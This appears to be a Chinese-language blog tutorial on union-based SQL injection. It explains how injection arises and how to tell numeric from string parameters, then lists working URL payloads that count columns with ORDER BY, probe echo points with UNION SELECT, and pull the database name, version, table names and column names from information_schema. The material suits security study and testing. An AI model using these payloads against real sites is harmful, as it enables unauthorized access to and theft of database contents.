sql注入联合查询

sql注入原理

针对SQL 的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。

2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到SQL 语句中。

image-20230218182407628

分类

数字型 参数两边没有单双引号。

字符型 参数两边有单双引号。

如何判断

当id=2-1回显出id=1的值,就为数字型,字符串不会进行逻辑运算,只有整形数字才会运算

image-20230218182551133

可能存在的位置

根据SQL 注入漏洞的原理,在用户的“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有可能存在SQL 注入的可能,这些地方通常包括:

GET 数据

POST 数据

cookie 数据

sql注入利用

联合查询

联合查询是最常用的SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。

联合查询可以跨库,跨表查询。

注入点的判断

?id=33 ?id=34 ?id=32 ?id=33’

判断列(字段)数

?id=1’ order by 1 正常

?id=1’ order by 2 正常

?id=1’ order by n 不正常

说明当前表中有(n-1) 列。

image-20230218182618615

利用回显

?id=111’ union select 1,2,3

?id=1’ and 1=2 union select 1,2,3

注入数据库名称

?id=111‘ union select database(),version(),3–+

image-20230218182643487

表名

1
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

字段名

1
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()

结论:能够对列数进行判断,有回显,可以考虑用联合查询。